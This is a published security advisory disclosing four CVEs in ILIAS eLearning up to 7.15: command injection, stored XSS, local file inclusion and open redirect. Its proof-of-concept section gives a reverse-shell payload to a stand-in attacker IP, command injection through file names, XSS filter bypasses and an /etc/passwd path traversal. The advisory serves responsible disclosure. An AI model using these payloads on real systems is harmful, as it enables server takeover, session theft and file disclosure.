ILIAS eLearning 7.15 Command Injection / XSS / LFI / Open Redirect

2022.12.09
Credit: Anna Hartig
Risk: High
Local: No
Remote: Yes

SEC Consult Vulnerability Lab Security Advisory < 20221206-0 > ======================================================================= title: Multiple critical vulnerabilities product: ILIAS eLearning platform vulnerable version: <= 7.15 fixed version: 7.16 CVE number: CVE-2022-45915, CVE-2022-45916, CVE-2022-45917, CVE-2022-45918 impact: critical homepage: https://www.ilias.de found: 2022-09-30 by: Anna Hartig (Office Bochum) Constantin Schwarz (Office Bochum) Niklas Schilling (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Around since 1998, ILIAS is a powerful learning management system that fulfills all your requirements. Using its integrated tools, small and large businesses, universities, schools and public authorities are able to create tailored, individual learning scenarios." Source: https://www.ilias.de/en/ Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Authenticated Direct OS Command Injection - CVE-2022-45915 ILIAS utilizes several third-party programs to perform tasks like creating PDF files or scanning uploaded files for known viruses. These are called using the PHP exec() function. In several instances, the arguments passed to the exec() function contain user input that is not properly sanitized. By performing malicious configuration steps or uploading dangerous files, an attacker can execute arbitrary system commands with the rights of the web server user (www-data). The privilege required for the different instances of command injection range from low rights to admin rights. 2) Stored Cross-Site Scripting - CVE-2022-45916 Multiple stored cross-site scripting vulnerabilities were identified in ILIAS course items. These were either achieved by bypassing existing XSS filters or simply by exploiting missing input validation altogether. This results in the execution of attacker-controlled JavaScript code by the user's browser. The attacker requires the right to create course items, e.g., as a tutor of a course. 3) Local File Inclusion - CVE-2022-45918 The included SCORM editor features a debugger that gives authors insights into the current SCORM player session, as well as previous sessions. When accessing the logs of previous sessions, the debugger fails to validate the requested file path, allowing for arbitrary filesystem access. 4) Open Redirect - CVE-2022-45917 The function shib_logout.php redirects the user to a URL specified in the "return" parameter. Since this parameter is not validated, an attacker can use it to redirect a victim to an arbitrary website. This is a powerful tool in phishing campaigns, as it allows hiding the malicious webpage behind a link that looks like it would take you to the real ILIAS webpage. Proof of concept: ----------------- 1) Authenticated Direct OS Command Injection - CVE-2022-45915 Multiple instances of command injection vulnerabilities were identified: a) ZIP archive upload Normal users with open assessments can submit their solution by uploading a ZIP archive. These archives are extracted on the server and scanned for viruses recursively. The directory and file names can be used by an attacker to inject system commands, e.g., by including a directory with the name $(touch /tmp/pwned) to the ZIP archive. Exploiting this vulnerability, an attacker is able to get a reverse shell on the ILIAS webserver with the rights of the web server user (www-data). b) Media object creation ILIAS can be configured so that users can create media objects based on files inside an "Upload Directory". Before these objects are created, the files are scanned for viruses. The file names can be used by an attacker to inject system commands. By placing a file with a name like $(touch /tmp/pwned) inside the upload directory and then creating a media object based on it, an attacker is able to execute arbitrary system commands with the rights of www-data on the server. c) PDF document creation ILIAS provides users the functionality to export content as PDF files. A user with admin rights can configure the path to the preferred PDF renderer. An attacker can use this parameter to inject system commands. Due to missing input validation it is possible to inject multiple commands. The path to wkhtmltopdf has to be included in the payload, as ILIAS checks for it. By changing the path to: /usr/local/bin/wkhtmltopdf; bash -c "bash -i >& /dev/tcp/<IP_Address_Attacker>/13373 0>&1"; an attacker can open a reverse shell with the rights of www-data that connects to the attacker's machine on port 13373. The reverse shell is initiated when the export function is triggered. No PDF renderer has to be installed for this vulnerability to be exploitable. 2) Stored Cross-Site Scripting - CVE-2022-45916 Multiple instances of stored cross-site scripting were identified: a) Several Stored XSS Attacks in Tests An attacker must be able to create new tests in which the JavaScript code will be embedded. If a victim then later accesses one of those tests, the XSS payload will be triggered. The "Question" input field of a test has a filter in place, which correctly removes HTML tags such as <script> or <img src="x" onerror="alert(document.cookie)">. By making use of half open HTML tags, this filter can be successfully bypassed. E.g. <img src="x" onerror="alert(document.cookie)" This half open HTML tag can also be used in the "Introductory Message" of a test to trigger an XSS. It's important to end the JavaScript code with a quotation mark or space, to properly separate it from successive HTML tags, after it's embedded into a test. Finally, the "Question" input field of the question type "Long Menu" was identified to use no filtering at all, resulting in the unrestricted use of arbitrary HTML tags such as <script>. b) Stored XSS in title of course items An attacker with rights to create an arbitrary course item can conduct a stored XSS attack by setting the title of the element to: " onclick="alert(document.cookie)" When a user clicks on the button to the right of the title, the XSS payload is triggered. c) Stored XSS in HTML sites An attacker with rights to edit an HTML Learning Module can conduct a stored XSS attack, as it is allowed to insert JavaScript Code to the HTML page. Even if this behavior is intended, it is insecure and considered bad practice. 3) Local File Inclusion - CVE-2022-45918 As a prerequisite, the SCORM debugger must be enabled for the whole ILIAS platform. An attacker with access to a SCORM player can open the SCORM debugger and request the logs of a previous session. By changing the value of the "logFile" query parameter of the request, they can read arbitrary files of the server's filesystem. For example, to read the passwd file on Linux systems, an attacker can change the value of the parameter logfile to "../../../../../../../../../etc/passwd". 4) Open Redirect - CVE-2022-45917 The shib_logout function is vulnerable to an open redirect. A URL that successfully uses this vulnerability to redirect to "https://www.sec-consult.com" is: http://ILIAS-URL/shib_logout.php?action=logout&return=https://www.sec-consult.com Vulnerable / tested versions: ----------------------------- The vulnerabilities were identified in ILIAS version 7.14. However, a brief analysis of the source code suggests, that several vulnerabilities are present in versions dating back to at least 3.8.4. Hence it is assumed that most current versions of the product are affected. The vulnerabilities were partly fixed in version 7.15, a complete patch is available with version 7.16. Vendor contact timeline: ------------------------ 2022-10-07: Contacting vendor through security@lists.ilias.de 2022-10-19: Sending initial email again, as the vendor did not yet respond 2022-10-25: Extending email recipients to info@ilias.de, datenschutz@ilias.de and identified personal email addresses from the vendor's website. 2022-10-25: Sending the advisory to the provided contact 2022-10-31: Vendor requests more information 2022-10-31: Sending detailed PoC 2022-11-10: Asking for current status 2022-11-22: Vendor confirms that patches will be available by 2022-11-26 2022-11-22: Asking about the version numbers of mentioned patches and CVE IDs 2022-11-23: Vendor provides information about patched versions; CVE IDs will be requested by SEC Consult 2022-11-24: Vendor releases patched version 7.16 2022-12-06: Public release of security advisory Solution: --------- Update ILIAS to version 7.16 or newer from the vendor's website: https://docu.ilias.de/goto.php?target=st_229 Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF A. Hartig, C. Schwarz, N. Schilling / @2022


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